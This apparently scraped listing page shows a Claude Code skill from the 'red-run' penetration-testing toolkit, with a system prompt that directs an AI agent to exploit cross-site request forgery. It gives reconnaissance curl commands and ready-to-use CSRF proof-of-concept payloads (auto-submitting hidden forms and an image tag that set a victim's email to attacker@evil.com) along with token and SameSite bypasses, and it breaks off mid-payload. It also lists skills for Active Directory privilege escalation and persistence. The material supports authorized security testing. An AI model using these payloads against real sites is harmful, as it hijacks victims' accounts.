acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Exploit Cross-Site Request Forgery (CSRF) vulnerabilities during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill csrf --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/csrfContext preview
The summary Claude sees to decide when to auto-load this skill.
Exploit Cross-Site Request Forgery (CSRF) vulnerabilities during authorized penetration testing.
name: csrf description: > Exploit Cross-Site Request Forgery (CSRF) vulnerabilities during authorized penetration testing. keywords: - csrf - cross-site request forgery - csrf bypass - csrf token bypass - samesite bypass - json csrf - csrf poc - anti-csrf bypass - state-changing attack - forged request - csrf token - login csrf - cross-site request tools: - burpsuite (CSRF PoC generator) - curl opsec: low
You are helping a penetration tester exploit CSRF vulnerabilities. The target application performs state-changing actions (password change, email update, role modification, fund transfer) without properly verifying that the request originated from the application itself. The goal is to demonstrate that an attacker can trick a victim's browser into making authenticated requests to the target. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
CSRF testing benefits from browser tools because **browser-enforced protections (SameSite cookies, CORS) only apply in a real browser context** — curl bypasses them, which can produce false positives.
are sent on cross-origin requests in a real browser)
— confirms real exploitability with browser-enforced protections active
server-side defenses (Referer/Origin checks, token validation)
modification, fund transfer, account settings)
Capture the target state-changing request and identify defenses.
Look for POST/PUT/PATCH/DELETE requests that modify data:
# Capture a legitimate request and check for: # 1. CSRF token in form body or header grep -i "csrf\|token\|_token\|authenticity" response.html # 2. SameSite cookie attribute curl -sI "https://TARGET/login" | grep -i "set-cookie" # Look for: SameSite=Strict, SameSite=Lax, SameSite=None, or absent # 3. Referer/Origin validation # Send request without Referer — does it still work? curl -s -X POST -H "Cookie: session=VALID" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=test@test.com" \ "https://TARGET/change-email" # 4. Custom header requirement (X-CSRF-Token, X-Requested-With) # Check if the endpoint requires a custom header that forms can't set
Test the CSRF token validation for weaknesses.
The most common bypass — the server validates the token when present but accepts requests without it:
<form method="POST" action="https://TARGET/change-email"> <input type="hidden" name="email" value="attacker@evil.com" /> <!-- csrf_token parameter completely omitted --> </form> <script>document.forms[0].submit();</script>
<form method="POST" action="https://TARGET/change-email"> <input type="hidden" name="email" value="attacker@evil.com" /> <input type="hidden" name="csrf_token" value="" /> </form> <script>document.forms[0].submit();</script>
Use a token from your own session in the attack against the victim:
1. Log in with your attacker account 2. Extract your CSRF token from the page source 3. Use it in the PoC — if the server validates tokens globally (not per-session), your token works for any user
Some applications use a single token pool. Extract a token from one endpoint and use it on the target endpoint.
Check if the token changes between requests. If it's static or follows a pattern (timestamp, sequential), it can be predicted.
Some applications only validate CSRF on POST. Try converting to GET:
<!-- Original POST with token validation --> <!-- Bypass: same action as GET without token --> <img src="https://TARGET/change-email?email=attacker@evil.com" />
If the session cookie uses SameSite, determine the level and test bypasses.
No protection — standard CSRF attacks work:
<form method="POST" action="https://TARGET/change-
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…